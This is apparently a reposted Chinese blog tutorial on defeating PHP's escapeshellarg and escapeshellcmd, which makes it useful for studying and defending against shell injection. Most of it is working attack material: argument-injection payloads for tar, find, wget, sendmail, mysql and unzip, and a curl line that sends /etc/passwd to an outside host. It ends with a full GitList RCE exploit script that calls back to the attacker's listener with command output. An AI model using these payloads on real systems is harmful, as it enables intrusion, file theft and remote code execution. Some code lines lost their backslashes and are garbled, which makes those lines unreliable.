php escapeshellcmd,利用/绕过 PHP escapeshellarg/escapeshellcmd函数

107336

escapeshellarg和escapeshellcmd的功能

escapeshellarg

1.确保用户只传递一个参数给命令

2.用户不能指定更多的参数一个

3.用户不能执行不同的命令

escapeshellcmd

1.确保用户只执行一个命令

2.用户可以指定不限数量的参数

3.用户不能执行不同的命令

让我们用groups去打印组里每个username成员

$username = 'myuser';

system('groups '.$username);

=>

myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

但是攻击者可以在username里使用;或者||

在Linux里,这意味着第二个命令可以在第一个之后被执行

$username = 'myuser;id';

system('groups '.$username);

=>

myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare

uid=33(www-data) gid=33(www-data) groups=33(www-data)

为了防止这一点,我们使用escapeshellcmd

现在攻击者不能允许第2个命令了

$username = 'myuser;id';

// escapeshellcmd adds before ;

system(escapeshellcmd('groups '.$username));

=>

(nothing)

为什么会这样?因为php内部运行了这样的命令

$ groups myuser;id

groups: „myuser;id”: no such user

myuser;id被当成了一个字符串

但是在这种方法中,攻击者可以指定更多参数groups

例如,他一次检测多个用户

$username = 'myuser1 myuser2';

system('groups '.$username);

=>

myuser1 : myuser1 adm cdrom sudo

myuser2 : myuser2 adm cdrom sudo

假设我们希望允许每个脚本执行仅检查一个用户:

$username = 'myuser1 myuser2';

system('groups '.escapeshellarg($username));

=>

(noting)

为什么会这样?因为现在$username被视为单个参数:

$ groups 'myuser1 myuser2'

groups: "myuser1 myuser2": no such user

已知的绕过/利用

当你想利用这些功能时,你有两个选择:

如果PHP版本非常老,你可以尝试一个历史漏洞,

否则你需要尝试参数注入技术。

参数注入

从上一章可以看到,使用escapeshellcmd / escapeshellarg时不可能执行第二个命令。

但是我们仍然可以将参数传递给第一个命令。

这意味着我们也可以将新选项传递给命令。

利用漏洞的能力取决于目标可执行文件。

您可以在下面找到一些已知可执行文件的列表,其中包含一些可能被滥用的特定选项。

TAR

压缩some_file到/tmp/sth

$command = '-cf /tmp/sth /some_file';

system(escapeshellcmd('tar '.$command));

创建一个空文件/tmp/exploit

$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";

system(escapeshellcmd('tar '.$command));

FIND

在/tmp目录查找文件some_file

$file = "some_file";

system("find /tmp -iname ".escapeshellcmd($file));

打印/etc/passwd内容

$file = "sth -or -exec cat /etc/passwd ; -quit";

system("find /tmp -iname ".escapeshellcmd($file));

Escapeshellcmd和escapeshellarg

在这个配置中,我们可以传递第二个参数给函数。

列出/tmp目录并忽略sth文件

$arg = "sth";

system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

在/tmp目录中列出文件并忽略sth。使用长列表格式。

$arg = "sth' -l ";

// ls --ignore='exploit'\'' -l ' /tmp

system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));

例如:WGET,下载example.php

$url = 'http://example.com/example.php';

system(escapeshellcmd('wget '.$url));

保存.php文件到指定目录

$url = '--directory-prefix=/var/www/html http://example.com/example.php';

system(escapeshellcmd('wget '.$url));

用.bat执行命令

打印somedir中的文件列表

$dir = "somedir";

file_put_contents('out.bat', escapeshellcmd('dir '.$dir));

system('out.bat');

并且执行whoami命令

$dir = "somedir x1a whoami";

file_put_contents('out.bat', escapeshellcmd('dir '.$dir));

system('out.bat');

SENDMAIL

$from = 'from@sth.com';

system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

打印/etc/passwd内容

$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';

system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');

CURL

$url = 'http://example.com';

system(escapeshellcmd('curl '.$url));

发送/etc/passwd内容到http://example.com

$url = '-F password=@/etc/passwd http://example.com';

system(escapeshellcmd('curl '.$url));

你可以得到文件内容,使用如下payload:

file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));

MYSQL

执行sql语句

$sql = 'SELECT sth FROM table';

system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

运行id命令

$sql = '! id';

system("mysql -uuser -ppassword -e ".escapeshellarg($sql));

UNZIP

从archive.zip解压所有*.tmp文件到/tmp目录

$zip_name = 'archive.zip';

system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));

从archive.zip解压所有*.tmp文件到/var/www/html目录

$zip_name = '-d /var/www/html archive.zip';

system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');

如果未设置LANG环境变量,则去除非ASCII字符

$filename = 'résumé.pdf';

// string(10) "'rsum.pdf'"

var_dump(escapeshellarg($filename));

setlocale(LC_CTYPE, 'en_US.utf8');

//string(14) "'résumé.pdf'"

var_dump(escapeshellarg($filename));

经典EXP

PHP <= 4.3.6 on Windows – CVE-2004-0542

$find = 'word';

system('FIND /C /I '.escapeshellarg($find).' c:\where\');

同时运行dir命令.

$find = 'word " c:\where\ || dir || ';

system('FIND /C /I '.escapeshellarg($find).' c:\where\');

PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 – CVE-2008-2051

Shell需要使用GBK,EUC-KR,SJIS等可变宽度字符集的语言环境。

$text = "sth";

system(escapeshellcmd("echo ".$text));

$text = "sth xc0; id";

system(escapeshellcmd("echo ".$text));

或者

$text1 = 'word';

$text2 = 'word2';

system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

$text1 = "word xc0";

$text2 = "; id ; #";

system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));

PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows – CVE-2015-4642

额外传递的第三个参数(—param3)。

$a = 'param1_value';

$b = 'param2_value';

system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

$a = 'a\';

$b = 'b -c --param3\';

system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));

PHP 7.x before 7.0.2 – CVE-2016-1904

如果将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd。

PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows

启用EnableDelayedExpansion后,展开一些环境变量。

然后!STH!运行类似于%STH%

escapeshellarg不会过滤!字符

EnableDelayedExpansion以在HKLM或HKCU下的注册表中设置:

[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]

"DelayedExpansion"= (REG_DWORD)

1=enabled 0=disabled (default)

例如:

// Leak appdata dir value

$text = '!APPDATA!';

print "echo ".escapeshellarg($text);

PHP < 5.6.18

功能定义于ext/standard/exec.c,运行类似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略PHP字符串的长度,并用NULL终止工作代替。

echo escapeshellarg("helloworld");

=>

hello

GitList RCE漏洞利用

文件src/Git/Repository.php

public function searchTree($query, $branch)

{

if (empty($query)) {

return null;

}

$query = escapeshellarg($query);

try {

$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");

} catch (RuntimeException $e) {

return false;

}

}

简化后

$query = 'sth';

system('git grep -i --line-number '.escapeshellarg($query).' *');

当我们查看git grep文档时

--open-files-in-pager[=]

Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.

所以基本上--open-files-in-pager就像是在-exec中执行find.

$query = '--open-files-in-pager=id;';

system('git grep -i --line-number '.escapeshellarg($query).' *');

当我们输入这些进控制台

$ git grep -i --line-number '--open-files-in-pager=id;' *

uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

id;: 1: id;: README.md: not found

最后的exp:

import requests

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

import urlparse

import urllib

import threading

import time

import os

import re

url = 'http://192.168.1.1/gitlist/'

command = 'id'

your_ip = '192.168.1.100'

your_port = 8001

print "GitList 0.6 Unauthenticated RCE"

print "by Kacper Szurek"

print "https://security.szurek.pl/"

print "REMEMBER TO DISABLE FIREWALL"

search_url = None

r = requests.get(url)

repos = re.findall(r'/([^/]+)/master/rss', r.text)

if len(repos) == 0:

print "[-] No repos"

os._exit(0)

for repo in repos:

print "[+] Found repo {}".format(repo)

r = requests.get("{}{}".format(url, repo))

files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)

for file in files:

r = requests.get("{}{}/raw/master/{}".format(url, repo, file))

print "[+] Found file {}".format(file)

print r.text[0:100]

search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])

break

if not search_url:

print "[-] No files in repo"

os._exit(0)

print "[+] Search using {}".format(search_url)

class GetHandler(BaseHTTPRequestHandler):

def do_GET(self):

parsed_path = urlparse.urlparse(self.path)

print "[+] Command response"

print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]

self.send_response(200)

self.end_headers()

self.wfile.write("OK")

os._exit(0)

def log_message(self, format, *args):

return

def exploit_server():

server = HTTPServer((your_ip, your_port), GetHandler)

server.serve_forever()

print "[+] Start server on {}:{}".format(your_ip, your_port)

t = threading.Thread(target=exploit_server)

t.daemon = True

t.start()

print "[+] Server started"

r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})

while True:

time.sleep(1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/527733.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php 绕waf,【技术分享】php webshell分析和绕过waf技巧

作者&#xff1a;阻圣预估稿费&#xff1a;400RMB(不服你也来投稿啊&#xff01;)投稿方式&#xff1a;发送邮件至linwei#360.cn&#xff0c;或登陆网页版在线投稿前言WebShell是攻击者使用的恶意脚本&#xff0c;它的用途主要是在攻击后的Web应用程序上建立持久性的后门。webs…

java 电子实时看板,看板界面的实现

在系统中有时通过以下界面可以直观的展示信息给用户:以上图形有几点比较重要&#xff1a;1&#xff0c; 一个面板显示一组属性(例如物料显示物料编号、物料规格)&#xff0c;但要把最主要的属性通过颜色单独处分出来。2&#xff0c; 通过颜色来区分重要性&#xff0c;例如(红…

php数组能不能静态,php 为什么常量可以用数组定义 静态变量却不能

<?php$GLOBALS[arr] array(1>1,2>2);define("ABC",$GLOBALS[arr][1]); # 这个定义可以class test{static $a $GLOBALS[arr][1]; # 这个初始化有语法错误}类的变量成员叫做“属性”&#xff0c;或者叫“字段”、“特征”&#xff0c;在本文档统一称为“属…

oracle asm 分布式存储,分布式数据中心数据库和存储部署解决方案

文/耿加申建设分布式双活数据中心是需要网络系统、存储系统、计算资源甚至包括应用系统等多个IT系统之间紧密合作才能实现的。用户所有的业务系统同时在两个数据中心运行&#xff0c;包括前端的全局负载均衡、服务器前端的负载均衡、服务器集群HA技术&#xff0c;后端的数据库系…

oracle中存储过程可见权限,Oracle数据库存储过程与权限

在执行存储过程时&#xff0c;我们可能会遇到权限问题 ● 定义者权限存储过程 ● 调用者权限存储过程 在数据库中创建存储过程时&#xff0c;定义者权限是缺省模式 当指定AUTHID CURRENT_USER关键字后&#xff0c;便是调用者权限存储过程 他俩之间最根本的差异在于role能否在存…

magento php 所需模块,magento博客 - Magento2 创建基本模块

我们将在Magento 2中创建一个简单的模块&#xff0c;完成后&#xff0c;模块将在自定义前端路由的内容中显示“Hello world&#xff01;”。先决条件毋庸置疑&#xff0c;您需要最新的Magento 2版本在我们开始Magento 2模块开发之前&#xff0c;有两件事是人们经常忘记的&#…

手机安装linux不root权限管理,不root手机也能使用linux环境并安装msf等工具

抵挡不住物理键盘的诱惑在key2首发的时候下手了。黑莓的天性&#xff0c;不能root。之前用nexus习惯用linux deploy搭建的kali环境需要root权限&#xff0c;所以虽然key2敲命令很爽&#xff0c;但是不能使用linux deploy真的很可惜。然后找到了termux这个轻量化的神器。无需roo…

linux中group命令详解,linux groupmod命令参数及用法详解

需要更改群组的识别码或名称时&#xff0c;可用groupmod指令来完成这项工作。接下来是小编为大家收集的linux groupmod命令参数及用法详解&#xff0c;希望能帮到大家。linux groupmod命令参数及用法详解groupmod(group modify)功能说明&#xff1a;更改群组识别码或名称。语 …

实时屏幕监控 linux面板,分享|LXDE、Xfce 及 MATE 桌面环境下的又一系统监视器应用:Multiload-ng...

Multiload-ng 是一个 GTK2 图形化系统监视器应用&#xff0c;可集成到 Xfce、LXDE 及 MATE 的桌面面板中&#xff0c; 它 fork 自原来的 GNOME Multiload 应用。它也可以运行在一个独立的窗口中。Multiload-ng 的特点有&#xff1a;支持以下资源的图形块&#xff1a; CPU&#…

盒子 Box

UVa1587 思路&#xff1a; 1.输入每个面的长宽并将每个面较长的一边放在前面 2.判断是否存在三对面分别相等 3.判断是否存在三组四棱相等 #include <stdio.h> #include <stdlib.h> #define maxn 100int cmp(const void* e1, const void* e2) {return (int)(*(d…

android 复用标题栏,Android基础---使用ToolBar教你打造一个通用的标题栏

现在项目中一般都会使用标题栏&#xff0c;谷歌在2014年推出了新的app bar---ToolBar&#xff0c;代替了以前使用的ActionBar。在做项目中会经常用到这个ToolBar&#xff0c;虽然用的很多&#xff0c;但是自己对它如何用还不是很明白&#xff0c;今天就来简单的学习下这个控件的…

android html 显示表格边框,tablelayout表格布局详解

如果你已经下载好MT4软件(很多专业外汇平台都有提供下载的)&#xff0c;在手机桌面找到图表打开&#xff0c;然后选择好交易商&#xff0c;输入账号密码就可以了。TableLayout怎样实现表格布局表格布局的子对象不能指定 layout_width 属性.宽度永远是 MATCH_PARENT。不过子对象…

华为注册鸿蒙商标与三海经,华为注册了一本《山海经》?除了鸿蒙商标,还有很多...

原标题&#xff1a;华为注册了一本《山海经》&#xff1f;除了鸿蒙商标&#xff0c;还有很多5月25日消息 昨天IT之家报道&#xff0c; 国家知识产权商标局网站显示&#xff0c;&#xff0c;适用于第9类别和第42类别。申请日期为2018年8月24日。此前传闻称&#xff0c;华为OS操作…

android开机渲染视频太久,Android过度渲染优化解决方案

过度绘制是发生的每一次应用要求系统上别的画的东西。“调试GPU透支”工具覆盖上你的屏幕的色彩显示多少次像素被重绘。通过查看GPU透支来改善应用程序的渲染时间。方法1&#xff1a;打开手机设置—>开发人员工具选项—>调试GPU过度绘制—>显示GPU视图更新&#xff0c…

小米android停止,小米由于错误而停止将Android 10推广到MiA3

当小米上周宣布将为Mi A3和Redmi Note 8用户推出Android 10更新时&#xff0c;用户为最终升级他们的设备(至少在软件方面)感到非常兴奋。但是&#xff0c;这种喜悦似乎是短暂的。用户抱怨说&#xff0c;尽管收到更新通知&#xff0c;但他们仍无法下载更新。有些人甚至看到更新在…

html两张图片无缝合成一张,怎么用PS把两张图片合成一张 PS无缝拼图边缘如何处理...

PS怎么把两张图片合成一张&#xff1f;PS无缝贴图怎么用&#xff1f;PS无缝拼接要用什么工具&#xff1f;PS无缝拼图快捷键是什么&#xff1f;PS无缝拼图有色差怎么办&#xff1f;PS把两张图片合成一张边缘怎么修&#xff1f;PS无缝拼接图片边缘如何处理&#xff1f;PS把一张图…

html 属于mvvm框架,前端MVVM框架avalon揭秘 - HTML编译器

MVVM试图更加清晰的讲用户界面(UI)开发从应用程序的业务逻辑与行为中心分离&#xff0c;由于&#xff0c;不少这样的模式的实现都须要利用声明式数据绑定来实现讲View(视图)工做从其余层分离css因此出现了一大堆自定义的声明式的语法&#xff1a;html如:Avalonnode顾名思义,自定…

html的opacity标签,css中opacity是什么意思

css样式 给div样式opacity:0 是什么意思透明度 注意 ie低版本要实现透明度必须用ie特有的滤镜 而非简单的opacityCSS中 not(.active) { opacity: 0.3; } 是什么意思css的opacity让div和里面的div透明了怎样才让div里面的div不透明&#xff1f;不透明度会作用于整个元素以及它所…

frm考试可以用计算机,FRM考试,考生自己可以携带计算器吗?

因为FRM考试有大量的计算题&#xff0c;是需要用到计算器的&#xff0c;近日有考生咨询&#xff0c;参加考试&#xff0c;可以自己携带FRM计算器吗&#xff1f;答案当然是肯定&#xff0c;考生是可以携带FRM计算器的&#xff0c;但是要携带协会官方要求的型号&#xff0c;不是什…

不能访问win7计算机,局域网win7无法访问win10,win7访问不了局域网其他电脑

相信大家都遇到过在访问局域网时遇到过很多错误&#xff0c;导致文件无法正常进行共享&#xff0c;共享打印机等情况&#xff0c;那么当我们遇到这样的问题时应该怎么处理呢&#xff1f;接下来是小编给大家介绍的具体解决方法&#xff0c;一起来看看吧&#xff01;方法/步骤1、…